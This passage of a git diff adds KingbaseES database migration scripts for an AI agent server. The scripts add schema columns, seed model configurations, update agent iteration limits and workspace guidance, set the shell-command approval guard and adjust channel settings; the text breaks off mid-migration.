b/mateclaw-server/src/main/resources/db/migration/kingbase/V35__skill_security_scan_result.sql @@ -0,0 +1,28 @@ +-- V35: RFC-042 §2.3 — persist skill security scan result and timestamp. +-- Until now findings lived only in SkillRuntimeStatus memory; after a restart +-- the admin page couldn't explain why a skill was blocked. These two columns +-- keep the last scan's findings (JSONB) and time so the UI can render them +-- and offer a rescan control. +-- +-- MySQL has no ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guards so +-- the migration is idempotent across redeploys. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'security_scan_result' + ) THEN + ALTER TABLE mate_skill ADD COLUMN security_scan_result TEXT DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'security_scan_time' + ) THEN + ALTER TABLE mate_skill ADD COLUMN security_scan_time TIMESTAMP DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V36__skill_i18n_name.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V36__skill_i18n_name.sql new file mode 100644 index 00000000..91b2e0b6 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V36__skill_i18n_name.sql @@ -0,0 +1,51 @@ +-- V36: RFC-042 §2.2 — bilingual display names for skills. +-- name stays the immutable slug / unique identifier; name_zh and +-- name_en are optional locale-specific display labels. The UI falls +-- back to name when the locale-matching column is null. +-- +-- MySQL has no ADD COLUMN IF NOT EXISTS; INFORMATION_SCHEMA guards +-- make the migration idempotent across redeploys. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'name_zh' + ) THEN + ALTER TABLE mate_skill ADD COLUMN name_zh VARCHAR(128) DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'name_en' + ) THEN + ALTER TABLE mate_skill ADD COLUMN name_en VARCHAR(128) DEFAULT NULL; + END IF; +END $$; + +-- Backfill bilingual names for the 19 builtin skills that already exist on +-- upgraded deployments. UPDATE is idempotent — running it again is a no-op +-- since the values match. Fresh installs handle this in data-*.sql instead +-- (those rows don't exist yet when this migration runs). +UPDATE mate_skill SET name_zh = '定时任务', name_en = 'Cron Jobs' WHERE name = 'cron'; +UPDATE mate_skill SET name_zh = '文件阅读器', name_en = 'File Reader' WHERE name = 'file_reader'; +UPDATE mate_skill SET name_zh = '钉钉渠道接入', name_en = 'DingTalk Channel' WHERE name = 'dingtalk_channel_connect'; +UPDATE mate_skill SET name_zh = '邮件管理', name_en = 'Email (Himalaya)' WHERE name = 'himalaya'; +UPDATE mate_skill SET name_zh = '新闻查询', name_en = 'News' WHERE name = 'news'; +UPDATE mate_skill SET name_zh = 'PDF 处理', name_en = 'PDF' WHERE name = 'pdf'; +UPDATE mate_skill SET name_zh = 'Word 文档', name_en = 'Word Document' WHERE name = 'docx'; +UPDATE mate_skill SET name_zh = 'PPT 演示', name_en = 'PowerPoint' WHERE name = 'pptx'; +UPDATE mate_skill SET name_zh = 'Excel 表格', name_en = 'Excel' WHERE name = 'xlsx'; +UPDATE mate_skill SET name_zh = '可见浏览器', name_en = 'Visible Browser' WHERE name = 'browser_visible'; +UPDATE mate_skill SET name_zh = '浏览器 CDP', name_en = 'Browser CDP' WHERE name = 'browser_cdp'; +UPDATE mate_skill SET name_zh = '安装指引', name_en = 'Setup Guidance' WHERE name = 'guidance'; +UPDATE mate_skill SET name_zh = '源码索引', name_en = 'Source Index' WHERE name = 'mateclaw_source_index'; +UPDATE mate_skill SET name_zh = 'SQL 查询', name_en = 'SQL Query' WHERE name = 'sql_query'; +UPDATE mate_skill SET name_zh = '乔布斯视角', name_en = 'Steve Jobs Perspective' WHERE name = 'steve_jobs_perspective'; +UPDATE mate_skill SET name_zh = '制定计划', name_en = 'Make Plan' WHERE name = 'make_plan'; +UPDATE mate_skill SET name_zh = '咨询智能体', name_en = 'Chat with Agent' WHERE name = 'chat_with_agent'; +UPDATE mate_skill SET name_zh = '渠道推送', name_en = 'Channel Push' WHERE name = 'channel_message'; +UPDATE mate_skill SET name_zh = '多智能体协作', name_en = 'Multi-Agent Collaboration' WHERE name = 'multi_agent_collaboration'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V37__wiki_page_source_entries.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V37__wiki_page_source_entries.sql new file mode 100644 index 00000000..11edcf83 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V37__wiki_page_source_entries.sql @@ -0,0 +1,6 @@ +-- RFC-047 P2: Add source_entries column to mate_wiki_page for paired (rawId, rawTitle) lineage. +-- Paired entries guarantee title-rawId alignment even when raw titles change. +-- Dual-written alongside the existing source_raw_ids for backwards compatibility. +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS source_entries TEXT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V38__wiki_chunk_content_mediumtext.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V38__wiki_chunk_content_mediumtext.sql new file mode 100644 index 00000000..605abd6f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V38__wiki_chunk_content_mediumtext.sql @@ -0,0 +1,3 @@ +-- V38: Expand mate_wiki_chunk.content from TEXT (64KB) to TEXT (16MB) +-- In KingbaseES/PostgreSQL, TEXT is already unlimited (up to 1GB), +-- so this migration is a no-op. Keep for Flyway version compatibility. diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V39__rfc051_chunk_metadata.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V39__rfc051_chunk_metadata.sql new file mode 100644 index 00000000..a3519b74 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V39__rfc051_chunk_metadata.sql @@ -0,0 +1,41 @@ +-- V39: RFC-051 PR-1a — chunk structural metadata. +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'page_number' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN page_number INT DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'token_count' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN token_count INT DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'header_breadcrumb' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN header_breadcrumb VARCHAR(1024) DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'source_section' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN source_section VARCHAR(512) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V3__register_cron_job_tool.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V3__register_cron_job_tool.sql new file mode 100644 index 00000000..92e64ecb --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V3__register_cron_job_tool.sql @@ -0,0 +1,4 @@ +-- V3: Register CronJobTool as built-in tool (RFC-003) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000018, 'CronJobTool', 'Scheduled Tasks', 'Create, list, enable/disable, and delete scheduled tasks (cron jobs) through chat.', 'builtin', 'cronJobTool', '⏰', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V40__rfc051_page_locked.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V40__rfc051_page_locked.sql new file mode 100644 index 00000000..23aa877d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V40__rfc051_page_locked.sql @@ -0,0 +1,11 @@ +-- V40: RFC-051 PR-2 — page protection flag. +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'locked' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN locked SMALLINT NOT NULL DEFAULT 0; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V41__rfc051_page_archived.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V41__rfc051_page_archived.sql new file mode 100644 index 00000000..ba7db5ec --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V41__rfc051_page_archived.sql @@ -0,0 +1,10 @@ +-- V41: RFC-051 PR-7 — soft-archive flag. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'archived' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN archived SMALLINT NOT NULL DEFAULT 0; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V42__claude_47_gpt_55_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V42__claude_47_gpt_55_models.sql new file mode 100644 index 00000000..be910d0c --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V42__claude_47_gpt_55_models.sql @@ -0,0 +1,37 @@ +-- Add Claude 4.7 + GPT-5.5 model entries to mate_model_config for existing +-- deployments. New installs pick these up via DatabaseBootstrapRunner from +-- data-mysql-{en,zh}.sql; this migration covers operators who already have +-- earlier Flyway versions applied. +-- +-- INSERT ... ON CONFLICT DO UPDATE is the PostgreSQL idempotent upsert. +-- Same V number is used in h2/ for cross-dialect parity. + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +-- GPT-5.5 series (OpenAI / Azure / OpenRouter) +(1000000260, 'GPT-5.5', 'openai', 'gpt-5.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000261, 'GPT-5.5 Mini', 'openai', 'gpt-5.5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000262, 'GPT-5.5 Nano', 'openai', 'gpt-5.5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000263, 'GPT-5.5', 'azure-openai', 'gpt-5.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000264, 'GPT-5.5 Mini', 'azure-openai', 'gpt-5.5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000265, 'GPT-5.5', 'openrouter', 'openai/gpt-5.5', 'GPT-5.5 via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude 4.7 series. NOTE: Claude 4.7 forbids temperature/top_p/top_k — +-- handled in AgentAnthropicChatModelBuilder. NULL temperature/top_p in seed +-- is the documented signal. +(1000000270, 'Claude Opus 4.7', 'anthropic', 'claude-opus-4-7', 'Anthropic Claude Opus 4.7 (xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000271, 'Claude Sonnet 4.7', 'anthropic', 'claude-sonnet-4-7', 'Anthropic Claude Sonnet 4.7', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000272, 'Claude Opus 4.7', 'openrouter', 'anthropic/claude-opus-4-7', 'Claude Opus 4.7 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000273, 'Claude Sonnet 4.7', 'openrouter', 'anthropic/claude-sonnet-4-7', 'Claude Sonnet 4.7 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET + name = EXCLUDED.name, + provider = EXCLUDED.provider, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + temperature = EXCLUDED.temperature, + max_tokens = EXCLUDED.max_tokens, + top_p = EXCLUDED.top_p, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + is_default = EXCLUDED.is_default, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V43__rfc062_claude_code_oauth_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V43__rfc062_claude_code_oauth_provider.sql new file mode 100644 index 00000000..f41d63f0 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V43__rfc062_claude_code_oauth_provider.sql @@ -0,0 +1,32 @@ +-- RFC-062: Seed the Anthropic Claude Code OAuth provider + its Claude 4.7 +-- model bindings on existing deployments. New installs already get these +-- rows from data-mysql-{en,zh}.sql via DatabaseBootstrapRunner; this +-- migration is for operators upgrading from <= V42. +-- +-- INSERT ... ON CONFLICT DO UPDATE is the PostgreSQL idempotent upsert. +-- Same V number is used in h2/ for cross-dialect parity. + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, auth_type, create_time, update_time) +VALUES ('anthropic-claude-code', 'Anthropic Claude Code (OAuth)', '', 'ClaudeCodeChatModel', '', 'https://api.anthropic.com', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, FALSE, 'oauth', NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + auth_type = EXCLUDED.auth_type, + update_time = EXCLUDED.update_time; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +(1000000280, 'Claude Opus 4.7', 'anthropic-claude-code', 'claude-opus-4-7', 'Claude Opus 4.7 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000281, 'Claude Sonnet 4.7', 'anthropic-claude-code', 'claude-sonnet-4-7', 'Claude Sonnet 4.7 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + provider = EXCLUDED.provider, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + temperature = EXCLUDED.temperature, + max_tokens = EXCLUDED.max_tokens, + top_p = EXCLUDED.top_p, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + is_default = EXCLUDED.is_default, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V44__fix_claude_sonnet_47_does_not_exist.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V44__fix_claude_sonnet_47_does_not_exist.sql new file mode 100644 index 00000000..f6eb6d39 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V44__fix_claude_sonnet_47_does_not_exist.sql @@ -0,0 +1,31 @@ +-- Repair migration for V42/V43: Anthropic only released Opus 4.7 — there +-- is no claude-sonnet-4-7 model. Calls return HTTP 404 with body +-- {"type":"not_found_error","message":"model: claude-sonnet-4-7"}. +-- +-- Anthropic's current model line includes claude-opus-4-7 but no +-- claude-sonnet-4-7. The latest released Sonnet remains claude-sonnet-4-6 +-- (released alongside Opus 4.6). +-- +-- Strategy: rename in place — preserve ids 1000000271, 1000000273, 1000000281 +-- so user-customised settings (default flag, enabled flag) survive. + +UPDATE mate_model_config +SET name = 'Claude Sonnet 4.6', + model_name = 'claude-sonnet-4-6', + description = 'Anthropic Claude Sonnet 4.6 (latest Sonnet — 4.7 not yet released)', + update_time = NOW() +WHERE id = 1000000271 AND model_name = 'claude-sonnet-4-7'; + +UPDATE mate_model_config +SET name = 'Claude Sonnet 4.6', + model_name = 'anthropic/claude-sonnet-4-6', + description = 'Claude Sonnet 4.6 via OpenRouter', + update_time = NOW() +WHERE id = 1000000273 AND model_name = 'anthropic/claude-sonnet-4-7'; + +UPDATE mate_model_config +SET name = 'Claude Sonnet 4.6', + model_name = 'claude-sonnet-4-6', + description = 'Claude Sonnet 4.6 via Claude Code Pro/Max subscription', + update_time = NOW() +WHERE id = 1000000281 AND model_name = 'claude-sonnet-4-7'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V45__deepseek_v4_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V45__deepseek_v4_models.sql new file mode 100644 index 00000000..24223fab --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V45__deepseek_v4_models.sql @@ -0,0 +1,19 @@ +-- Add DeepSeek V4 (flash + pro) model entries for MySQL deployments. +-- Cross-dialect parity with h2/V45 — see that file's header for context. + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +(1000000282, 'DeepSeek V4 Flash', 'deepseek', 'deepseek-v4-flash', 'DeepSeek V4 Flash (1M context, reasoning via thinking-enabled mode)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000283, 'DeepSeek V4 Pro', 'deepseek', 'deepseek-v4-pro', 'DeepSeek V4 Pro (1M context, reasoning via thinking-enabled mode)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + provider = EXCLUDED.provider, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + temperature = EXCLUDED.temperature, + max_tokens = EXCLUDED.max_tokens, + top_p = EXCLUDED.top_p, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + is_default = EXCLUDED.is_default, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V46__stt_default_enabled.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V46__stt_default_enabled.sql new file mode 100644 index 00000000..2ed0518f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V46__stt_default_enabled.sql @@ -0,0 +1,21 @@ +-- Default-enable STT on existing deployments. See the h2/ counterpart for +-- the "why enabled by default" rationale and the bug history that drove +-- the skip-if-exists idiom. Same V number is used in h2/ for cross-dialect +-- parity. +-- +-- MySQL doesn't allow INSERT ... SELECT ... WHERE NOT EXISTS without a +-- FROM clause, so we synthesise one with FROM DUAL. The end result is +-- the same: insert when the setting_key is absent, no-op when it's already +-- there. + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000020, 'sttEnabled', 'true', 'Enable speech-to-text (TalkMode mic input)', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttEnabled'); + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000021, 'sttProvider', 'auto', 'STT provider: auto / openai / dashscope', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttProvider'); + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000022, 'sttFallbackEnabled', 'true', 'Try alternate STT provider when the primary fails', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttFallbackEnabled'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V47__agent_max_iterations_100.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V47__agent_max_iterations_100.sql new file mode 100644 index 00000000..7c3f8b4d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V47__agent_max_iterations_100.sql @@ -0,0 +1,16 @@ +-- V47: Bump default agents' max_iterations to 100 (hard ceiling). +-- +-- The previous defaults (25 for ReAct, 20 for plan-execute) ran the LimitExceededNode +-- too eagerly on substantive multi-tool tasks (e.g. document generation with image +-- conversion). New default is 100, the hard upper bound enforced at runtime. +-- AgentGraphBuilder still clamps any per-agent override to MAX_ITERATIONS_HARD_CEILING +-- at runtime, so a user-configured 200 will be silently capped to 100. +-- +-- Idempotent: only updates rows that still hold the old defaults, so user-customized +-- agents are not touched. + +UPDATE mate_agent SET max_iterations = 100 +WHERE id IN (1000000001, 1000000003) AND max_iterations = 25; + +UPDATE mate_agent SET max_iterations = 100 +WHERE id = 1000000002 AND max_iterations = 20; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V48__agent_max_iterations_and_agents_md_tools.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V48__agent_max_iterations_and_agents_md_tools.sql new file mode 100644 index 00000000..221644c5 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V48__agent_max_iterations_and_agents_md_tools.sql @@ -0,0 +1,20 @@ +-- V48 (Kingbase): see h2/V48 for full rationale. +-- Use || instead of CONCAT() because Kingbase Oracle-compat CONCAT() only takes 2 args. + +UPDATE mate_agent SET max_iterations = 100 +WHERE id IN (1000000001, 1000000002, 1000000003) + AND (max_iterations IS NULL OR max_iterations < 100); + +UPDATE mate_workspace_file +SET content = REPLACE( + content, + '需要执行文件操作或命令时,直接调用对应的工具(如 execute_shell_command、read_file 等),不要用文本描述你要做什么。', + '需要执行文件操作或命令时,直接调用对应的工具:' || CHR(10) || + '- 读文件 → read_file' || CHR(10) || + '- 写新文件或覆盖整个文件 → write_file(一次写完整内容,不要用 printf / heredoc / echo 拼)' || CHR(10) || + '- 修改已有文件局部内容 → edit_file' || CHR(10) || + '- 执行 shell 命令 → execute_shell_command' || CHR(10) || + '不要用文本描述你要做什么。' + ) +WHERE filename = 'AGENTS.md' + AND content LIKE '%execute_shell_command、read_file%'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V49__reenable_write_edit_file_tools.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V49__reenable_write_edit_file_tools.sql new file mode 100644 index 00000000..638f4b0a --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V49__reenable_write_edit_file_tools.sql @@ -0,0 +1,5 @@ +-- V49 (MySQL): see h2/V49 for full rationale. + +UPDATE mate_tool SET enabled = TRUE +WHERE bean_name IN ('writeFileTool', 'editFileTool') + AND enabled = FALSE; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V4__agent_thinking_level.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V4__agent_thinking_level.sql new file mode 100644 index 00000000..0f5226ca --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V4__agent_thinking_level.sql @@ -0,0 +1,12 @@ +-- V4: Add default_thinking_level to mate_agent +-- Supports: off / low / medium / high / max (null = follow model default) +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_agent' AND column_name = 'default_thinking_level' + ) THEN + ALTER TABLE mate_agent ADD COLUMN default_thinking_level VARCHAR(32) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V50__fix_agents_md_tool_guidance_concat.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V50__fix_agents_md_tool_guidance_concat.sql new file mode 100644 index 00000000..30cc456f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V50__fix_agents_md_tool_guidance_concat.sql @@ -0,0 +1,50 @@ +-- V50 (Kingbase): mirror of h2/V50. +-- Use || instead of CONCAT() because Kingbase Oracle-compat CONCAT() only takes 2 args. + +UPDATE mate_workspace_file +SET content = + '## 记忆' || CHR(10) || + CHR(10) || + '你的记忆由数据库工作区文件提供连续性:' || CHR(10) || + CHR(10) || + '- PROFILE.md:稳定用户画像与协作偏好' || CHR(10) || + '- MEMORY.md:长期事实、经验教训、工具设置、反复出现的模式' || CHR(10) || + '- memory/YYYY-MM-DD.md:当日事件、观察、一次性上下文' || CHR(10) || + CHR(10) || + '### 记忆策略' || CHR(10) || + CHR(10) || + '- 稳定信息进入 PROFILE.md 或 MEMORY.md' || CHR(10) || + '- 临时事件进入 memory/YYYY-MM-DD.md' || CHR(10) || + '- 修改前先读取原文,优先做增量编辑而不是整篇重写' || CHR(10) || + '- 避免记录敏感信息,除非用户明确要求' || CHR(10) || + CHR(10) || + '### 主动召回' || CHR(10) || + CHR(10) || + '- 遇到历史偏好、旧决策、持续任务、用户习惯时,优先查看工作区记忆' || CHR(10) || + '- 不确定具体发生日期时,检查相关 memory/YYYY-MM-DD.md' || CHR(10) || + CHR(10) || + '## 安全' || CHR(10) || + CHR(10) || + '- 绝不泄露私密数据。' || CHR(10) || + '- 拿不准的事情,先确认。' || CHR(10) || + CHR(10) || + '## 边界' || CHR(10) || + CHR(10) || + '- 私密的保持私密。' || CHR(10) || + '- 需要执行文件操作或命令时,**必须**调用对应的工具:' || CHR(10) || + ' - 读文件 → read_file' || CHR(10) || + ' - 写新文件或覆盖整个文件 → write_file(一次写完整内容,不要用 printf / heredoc / echo / cat << EOF 拼字符串)' || CHR(10) || + ' - 修改已有文件局部内容 → edit_file' || CHR(10) || + ' - 执行 shell 命令 → execute_shell_command' || CHR(10) || + ' 禁止用 shell 命令绕过 write_file 写文件。系统会自动对危险操作弹出审批确认。' || CHR(10) || + '- 拿不准就先问。' || CHR(10) || + CHR(10) || + '## 风格' || CHR(10) || + CHR(10) || + '该简洁就简洁,重要时详细。' || CHR(10) || + CHR(10) || + '## 连续性' || CHR(10) || + CHR(10) || + '每次会话都全新醒来。工作区文件就是你的记忆。读它们。更新它们。' || CHR(10) +WHERE filename = 'AGENTS.md' + AND agent_id IN (1000000001, 1000000002, 1000000003); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V51__remove_write_edit_file_from_toolguard.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V51__remove_write_edit_file_from_toolguard.sql new file mode 100644 index 00000000..60f6b184 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V51__remove_write_edit_file_from_toolguard.sql @@ -0,0 +1,5 @@ +-- V51 (MySQL): see h2/V51 for full rationale. + +UPDATE mate_tool_guard_config +SET guarded_tools_json = '["execute_shell_command"]' +WHERE id = 1000000001; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V52__feishu_default_connection_mode.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V52__feishu_default_connection_mode.sql new file mode 100644 index 00000000..ee8a2b3f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V52__feishu_default_connection_mode.sql @@ -0,0 +1,4 @@ +-- V52: Intentional no-op (deprecated). See h2/V52 for the full rationale. +-- The actual migration was moved to V53. + +SELECT 1; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V53__feishu_connection_mode_recover.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V53__feishu_connection_mode_recover.sql new file mode 100644 index 00000000..81c67580 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V53__feishu_connection_mode_recover.sql @@ -0,0 +1,24 @@ +-- V53: Recover from V52's silent no-op. +-- See h2/V53 for the full rationale. Same surgery, Kingbase-flavored. +-- Idempotent: rows already at "websocket" are skipped by the WHERE clause. + +UPDATE mate_channel +SET config_json = CASE + WHEN config_json IS NULL OR TRIM(config_json) = '' OR TRIM(config_json) = '{}' THEN + '{"connection_mode":"websocket"}' + WHEN POSITION('"connection_mode"' IN config_json) = 0 THEN + CONCAT('{"connection_mode":"websocket",', SUBSTRING(config_json, 2)) + ELSE + REPLACE( + REPLACE(config_json, + '"connection_mode": "webhook"', '"connection_mode": "websocket"'), + '"connection_mode":"webhook"', '"connection_mode":"websocket"' + ) + END +WHERE channel_type = 'feishu' + AND deleted = 0 + AND ( + config_json IS NULL + OR (POSITION('"connection_mode": "websocket"' IN config_json) = 0 + AND POSITION('"connection_mode":"websocket"' IN config_json) = 0) + ); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V54__channel_names_to_chinese_for_zh_locale.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V54__channel_names_to_chinese_for_zh_locale.sql new file mode 100644 index 00000000..1241fa39 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V54__channel_names_to_chinese_for_zh_locale.sql @@ -0,0 +1,45 @@ +-- V54: Localize seeded channel names to Chinese for zh-CN installs. +-- See h2/V54 for the full rationale. Same logic, MySQL-flavored. +-- Idempotent: re-running finds no matching rows after the first apply. + +UPDATE mate_channel SET name = 'Web 控制台' + WHERE id = 1000000001 AND name = 'Web Console' + AND EXISTS (SELECT 1 FROM mate_system_setting + WHERE setting_key = 'language' AND setting_value = 'zh-CN'); + +UPDATE mate_channel SET name 